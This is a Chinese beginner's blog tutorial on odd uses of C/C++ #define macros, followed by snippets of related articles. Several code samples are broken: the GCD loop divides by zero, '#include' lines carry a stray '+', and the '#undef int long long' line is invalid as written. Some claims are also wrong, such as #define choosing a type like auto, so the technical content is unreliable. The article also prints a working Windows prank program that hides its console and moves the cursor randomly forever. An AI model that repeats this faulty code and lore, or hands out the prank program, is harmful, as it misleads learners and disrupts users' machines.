浅谈C++/C关于#define的那些奇奇怪怪的用法

目录
  • 前言
  • 1 缩减代码
  • 2 定义变量
  • 3 代替函数
  • 4 函数做不到的功能
  • 5 一些有些"邪门"的用法
  • 6 与#define有关联的带“#”号指令

前言

众所周知,#define(也就是宏定义)在C++/C里用处很广泛。对于一个萌新小白来说,宏定义有以下几种用法:

1 缩减代码

第一种用法与typedef类似,而且比typedef应用得更广泛。举个例子,在以下C++程序中,unsigned int出现的实在是太多了。

#include<bits/stdc++.h>
using namespace std;
unsigned int n;
int main()
{
    cin>>n;
    for(unsigned int i=0;i<n;i++)
    {
        unsigned int a,b;
          cin>>a>>b;
          while(b==0)
          {
              unsigned int r=a%b;
              a=b;b=r;
        }
        cout<<a<<endl;
    }
    return 0;
}

那该怎么办呢?其实只需要加一行这样的代码,然后再把unsigned int改成ui就可以了。

#define ui unsigned int

这样的话程序就简短了很多。

#include<bits/stdc++.h>
#define ui unsigned int
//也可以写作typedef unsigned int ui
using namespace std;
ui n;
int main()
{
    cin>>n;
    for(ui i=0;i<n;i++)
    {
        ui a,b;
          cin>>a>>b;
          while(b==0)
          {
              ui r=a%b;
              a=b;b=r;
        }
        cout<<a<<endl;
    }
    return 0;
}

2 定义变量

第二种用法与const auto(不一定是int)相似。当我们想写一段这样的代码时,我们可以用const int写以避免重复出现100005:

#include<bits/stdc++.h>
using namespace std;
const int N=100005;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
    for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
    for(int i=0;i<n;i++) cout<<ans[i]<<' ';
    return 0;
}

#define也有这个功能。它可以根据赋的“值”(不一定是值)判断改用哪种数据类型(这里就不细讲了),与auto的功能相似。因此,我们也可以这样写:

#include<bits/stdc++.h>+
#define N 100005//会根据后面的量以决定数据类型
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
    for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
    for(int i=0;i<n;i++) cout<<ans[i]<<' ';
    return 0;
}

以下是#define的基础用法。其实,#define还有一些其他功能。

3 代替函数

以以下程序为例,在输出环节多次出现了同一行代码。那该怎么办呢?

#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) cout<<*it<<' '<<s.count(*it)<<endl;}
        else cout<<*it<<' '<<s.count(*it)<<endl;
        ie=it;
    }
    return 0;
}

我们可以写一个输出函数。这样的话程序就变成了这个样子:

#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
void sc(multiset<int>::iterator a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) sc(it);}
        else sc(it);
        ie=it;
    }
    return 0;
}

同时我们也可以用#define对程序进行再一次优化(这是typedef做不到的)。这样的话程序代码就会大大缩减。

#include<bits/stdc++.h>
#define tor multiset<int>::iterator
#define mi multiset<int>
using namespace std;
mi s;int n,m;tor it,ie;
void sc(tor a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
    cin>>n;
    for(int i=1;i<=n;i++)
    {
        cin>>m;
        s.insert(m);
    }
    for(it=s.begin();it!=s.end();it++)
    {
        if(it!=s.begin())
        {if(*it!=*ie) sc(it);}
        else sc(it);
        ie=it;
    }
    return 0;
}

但其实输出函数那一部分也可以用#define做。可以用#define这样写输出函数:

#define sc(a) cout<<*a<<' '<<s.count(*a)<<endl;//不需要tor,否则会报错

可以发现,这里的功能是不需要tor的。所以可以发现,这个功能是第二个功能的衍生功能。总结一下,就是#define可以代替一些简单函数。

4 函数做不到的功能

同时,#define也可以做到一些函数做不到的功能。比如说,前面这段程序还可以继续简化成这样:

#include<bits/stdc++.h>+
#define N 100005
#define go(n) for(int i=0;i<n;i++)
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
    int n;
    cin>>n;
    go(n) cin>>a[i]>>b[i]>>c[i];
    go(n) ans[i]=a[i]+b[i]-c[i];
    go(n) cout<<ans[i]<<' ';
    return 0;
}

那这是为什么呢?因为#define还可以用来代替重复出现多次的代码。

运用这个方法,我们可以用C语言写以下程序:

#include<stdio.h>
#define N 100005
#define go(n) for(int i=0;i<n;i++)
int a[N],n,b[N];
int main()
{
    scanf("%d",&n);
    go(n) scanf("%d",&a[i]);
    go(n)
    {
        if(i==0) b[i]=a[i]+a[n-1];
        else b[i]=a[i]+a[i-1];
        printf("%d ",b[i]);
    }
    return 0;
}

而且这个程序还能通过编译!所以#define是可以套循环的。

同时我们还可以用#define写一个forever(Scratch上死循环的英文):

#define forever() for(int i=0;;i++)

或者这样写forever:

#define forever(i) for(i=0;;i++)

这样写死循环时就便利多了(话说while(1>0)它不香吗)。

5 一些有些"邪门"的用法

那#define既然那么好用,那有没有一些邪门点的用法?当然有。

比如说以下这一段C语言程序就把"邪门"二字刻在了脑门上:

#include<stdio.h>
#define forever(i,j) for(int i=0;;i++)
int I,love,you;
void dear(int d,int s,int x)
{
    forever(s,x) dear(d,s,x);
}
int main()
{
    scanf("%d%d%d",&I,&love,&you);
    forever(love,you)    dear(I,love,you);
}

不说递归加循环把程序卡死,这变量用的也太阴间了吧!这还是C语言程序?(看来这才是forever的真正用法。)

好了,回到正题。那能不能用#define对#include进行缩减?这里以下方的C++程序为例。

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void HideScreen()
{
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
    return;
}//千万别试!
int main()
{
    HideScreen();
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    for(int i=0;;i++){SetCursorPos(rand()%y,rand()%x);}
    return 0;
}

在这个程序中,我们是否能在第二行添加#define语句来缩减#include<windows.h>?很可惜,这通不过编译。C++/C语言的#define是不可以对带"#"号的指令进行宏定义的。

6 与#define有关联的带“#”号指令

如果你写了那么一个程序,然后想把程序里的int和long long统一,那该怎么办(虽然这样做对程序没有影响)?是把long long全部改成int吗?可这样太麻烦了。

#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
       if(i<li)  li=i;
       if(j<lj)  lj=j;
       if(i>ri)  ri=i;
       if(j>rj)  rj=j;
       ans++;a[i][j]=0;
       if(a[i][j-1]==1)  dg(i,j-1);
       if(a[i][j+1]==1)  dg(i,j+1);
       if(a[i-1][j]==1)  dg(i-1,j);
       if(a[i+1][j]==1)  dg(i+1,j);
}
void cdr(long long n,long long m)
{
    memset(a,-1,sizeof(a));
    char c;
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
            cin>>c;
            if(c=='#')  a[i][j]=1;
        }
    }
}
int main()
{
    cin>>n>>m;
    cdr(n,m);
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
          if(a[i][j]==1)
          {
            li=ri=i;lj=rj=j;
            ans=0;dg(i,j);
            if((ri-li+1)*(rj-lj+1)==ans)  cnt++;
            else sum++;
          }
        }
    }
    cout<<cnt<<endl<<sum;
    return 0;
}

其实,你只需要在函数cdr前面加一句代码就行了:

#undef int long long

加上代码后话程序就变成了这样:

#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
       if(i<li)  li=i;
       if(j<lj)  lj=j;
       if(i>ri)  ri=i;
       if(j>rj)  rj=j;
       ans++;a[i][j]=0;
       if(a[i][j-1]==1)  dg(i,j-1);
       if(a[i][j+1]==1)  dg(i,j+1);
       if(a[i-1][j]==1)  dg(i-1,j);
       if(a[i+1][j]==1)  dg(i+1,j);
}
#undef int long long
void cdr(long long n,long long m)
{
    memset(a,-1,sizeof(a));
    char c;
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
            cin>>c;
            if(c=='#')  a[i][j]=1;
        }
    }
}
int main()
{
    cin>>n>>m;
    cdr(n,m);
    for(long long i=1;i<=n;i++)
    {
        for(long long j=1;j<=m;j++)
        {
          if(a[i][j]==1)
          {
            li=ri=i;lj=rj=j;
            ans=0;dg(i,j);
            if((ri-li+1)*(rj-lj+1)==ans)  cnt++;
            else sum++;
          }
        }
    }
    cout<<cnt<<endl<<sum;
    return 0;
}

这便是C/C++中的#undef指令。这样的话,这行代码后面的long long还是用long long表示,与前面的int等价。

另外,C/C++还有#ifdef,#ifndef,#elif,#if,#endif,#if……#else,#error等与宏定义有关的指令可以供您使用,但入门阶段只需要知道#define就行了。

到此这篇关于浅谈C++/C关于#define的那些奇奇怪怪的用法的文章就介绍到这了,更多相关C++/C #define用法内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • C++中const与#define的利弊分析

    C++中const与#define的区别如下: 用#define MAX 255定义的常量是没有类型的,所给出的是一个立即数,编译器只是把所定义的常量值与所定义的常量的名字联系起来,define所定义的宏变量在预处理的时候进行替换,在程序中使用到该常量的地方都要进行拷贝替换: 用const float MAX = 255; 定义的常量有类型名字,存放在内存的静态区域中,在程序运行过程中const变量只有一个拷贝,而#define 所定义的宏变量却有多个拷贝,所以宏定义在程序运行过程中所消耗的内存

  • 详解C++中typedef 和 #define 的区别

    1.执行上不同 关键字 typedef 在编译阶段有效,由于是在编译阶段,因此 typedef 有类型检查的功能. #define 则是宏定义,发生在预处理阶段,也就是编译之前,它只进行简单而机械的字符串替换,而不进行任何检查. 例如:typedef 会做相应的类型检查 typedef unsigned int UINT; void func() { UINT value = "abc"; // error C2440: 'initializing' : cannot convert

  • C/C++中宏定义(#define)

    #define是C语言中提供的宏定义命令,其主要目的是为程序员在编程时提供一定的方便,并能在一定程度上提高程序的运行效率,但学生在学习时往往不能 理解该命令的本质,总是在此处产生一些困惑,在编程时误用该命令,使得程序的运行与预期的目的不一致,或者在读别人写的程序时,把运行结果理解错误,这对 C语言的学习很不利. 宏的定义在程序中是非常有用的,但是使用不当,就会给自身造成很大的困扰.通常这种困扰为:宏使用在计算方面. 本例子主要是在宏的计算方面,很多时候,大家都知道定义一个计算的宏,对于编译和编程

  • C/C++中的typedef和#define详解

    C/C++中的typedef和#define 前言: 在C/C++中,我们平时写程序可能经常会用到typedef关键字和#define宏定义命令,在某些情况下使用它们会达到相同的效果,但是它们是有实质性的区别,一个是C/C++的关键字,一个是C/C++的宏定义命令,typedef用来为一个已有的数据类型起一个别名,而#define是用来定义一个宏定义常量.下面谈谈两者在实际使用中应当注意的地方. 1.typedef关键字 typedef是用来声明类型别名的,在实际编写代码过程使用typedef往

  • 如何区分C++中的inline和#define宏

    (1)什么是内联函数? 内联函数是指那些定义在类体内的成员函数,即该函数的函数体放在类体内. (2)为什么要引入内联函数? 当然,引入内联函数的主要目的是:解决程序中函数调用的效率问题. 另外,前面我们讲到了宏,里面有这么一个例子: #define ABS(x) ((x)>0? (x):-(x)) 当++i出现时,宏就会歪曲我们的意思,换句话说就是:宏的定义很容易产生二意性. (3)为什么inline能取代宏? 1. inline 定义的类的内联函数,函数的代码被放入符号表中,在使用时直接进行替

  • 浅谈C++/C关于#define的那些奇奇怪怪的用法

    目录 前言 1 缩减代码 2 定义变量 3 代替函数 4 函数做不到的功能 5 一些有些"邪门"的用法 6 与#define有关联的带“#”号指令 前言 众所周知,#define(也就是宏定义)在C++/C里用处很广泛.对于一个萌新小白来说,宏定义有以下几种用法: 1 缩减代码 第一种用法与typedef类似,而且比typedef应用得更广泛.举个例子,在以下C++程序中,unsigned int出现的实在是太多了. #include<bits/stdc++.h> usin

  • 浅谈MySQL中授权(grant)和撤销授权(revoke)用法详解

    MySQL 赋予用户权限命令的简单格式可概括为: grant 权限 on 数据库对象 to 用户 一.grant 普通数据用户,查询.插入.更新.删除 数据库中所有表数据的权利 grant select on testdb.* to common_user@'%' grant insert on testdb.* to common_user@'%' grant update on testdb.* to common_user@'%' grant delete on testdb.* to c

  • 浅谈javascript的call()、apply()、bind()的用法

    JavaScript中的函数不仅是一种类似于Java中方法的语言功能,它还可以作为对象而存在. 本文将要探讨JavaScript中函数的一些特殊用法,包括call.apply.bind三个原型方法. 一.函数基础 JavaScript中的函数是一种类似于Java中方法的语言功能,不过它可以独立于类进行定义. 函数式编程:由于JavaScript支持匿名函数,因此可以将函数作为对象来使用, 所以JavaScript不仅支持过程式编程(面向对象也是过程式编程的一种),还支持函数式编程. 上下文 函数

  • 浅谈javascript中call()、apply()、bind()的用法

    call(thisObj,arg1,arg2...).apply(thisObj,[obj1,obj2...])这二个方法是每个函数都包含的非继承的方法 call(thisobj[, args])和apply(thisobj[, args]) 作用都是一样的,简单来说就是改变当前使用该方法的对象中的this指向,指向调用方法中的thisObj对象二者的区别(第一个参数是相同的)就是call方法中传入的参数是是一个个列举出来的,而apply方法中的参数二是一个数组 还是举例说明比较直观: wind

  • 浅谈numpy.where() 的用法和np.argsort()的用法说明

    numpy.where() 有两种用法: 1. np.where(condition, x, y) 满足条件(condition),输出x,不满足输出y. 如果是一维数组,相当于[xv if c else yv for (c,xv,yv) in zip(condition,x,y)] >>> aa = np.arange(10) >>> np.where(aa,1,-1) array([-1, 1, 1, 1, 1, 1, 1, 1, 1, 1]) # 0为False,

  • 浅谈#ifndef,#define,#endif的作用和用法

    问题:ifndef/define/endif"主要目的是防止头文件的重复包含和编译 ======================================================== 用法: .h文件,如下: #ifndef XX_H #define XX_H ... #endif 这样如果有两个地方都包含这个头文件,就不会出现两次包含的情况 .. 因为在第二次包含时 XX_H 已经有定义了,所以就不再 include了 ------------------------------

  • 浅谈redis采用不同内存分配器tcmalloc和jemalloc

    我们知道Redis并没有自己实现内存池,没有在标准的系统内存分配器上再加上自己的东西.所以系统内存分配器的性能及碎片率会对Redis造成一些性能上的影响. 在Redis的 zmalloc.c 源码中,我们可以看到如下代码: /* Double expansion needed for stringification of macro values. */ #define __xstr(s) __str(s) #define __str(s) #s #if defined(USE_TCMALLOC

  • 浅谈c++构造函数问题,初始化和赋值问题

    默认构造函数(就是没有参数的构造函数) The Default Constructor The default constructor is the constructor used to create an object when you don't provide explicit initialization values. That is, it's the constructor used for declarations like this: Stock stock1;  // us

  • 浅谈PHP定义命令空间的几个注意点(推荐)

    1.声明命令空间必须是程序脚本的第一条语句.另外,所有非 PHP 代码包括空白符都不能出现在命名空间的声明之前. 下面是错误的示例: <html> <?php namespace MyProject; // 致命错误 - 命名空间必须是程序脚本的第一条语句 ?> 这个也是错误的 <?php // Lots // of // interesting // comments and white space namespace Foo; class Bar { } ?> 2.

  • 浅谈Node.js ORM框架Sequlize之表间关系

    Sequelize模型之间存在关联关系,这些关系代表了数据库中对应表之间的主/外键关系.基于模型关系可以实现关联表之间的连接查询.更新.删除等操作.本文将通过一个示例,介绍模型的定义,创建模型关联关系,模型与关联关系同步数据库,及关系模型的增.删.改.查操作. 数据库中的表之间存在一定的关联关系,表之间的关系基于主/外键进行关联.创建约束等.关系表中的数据分为1对1(1:1).1对多(1:M).多对多(N:M)三种关联关系. 在Sequelize中建立关联关系,通过调用模型(源模型)的belon

随机推荐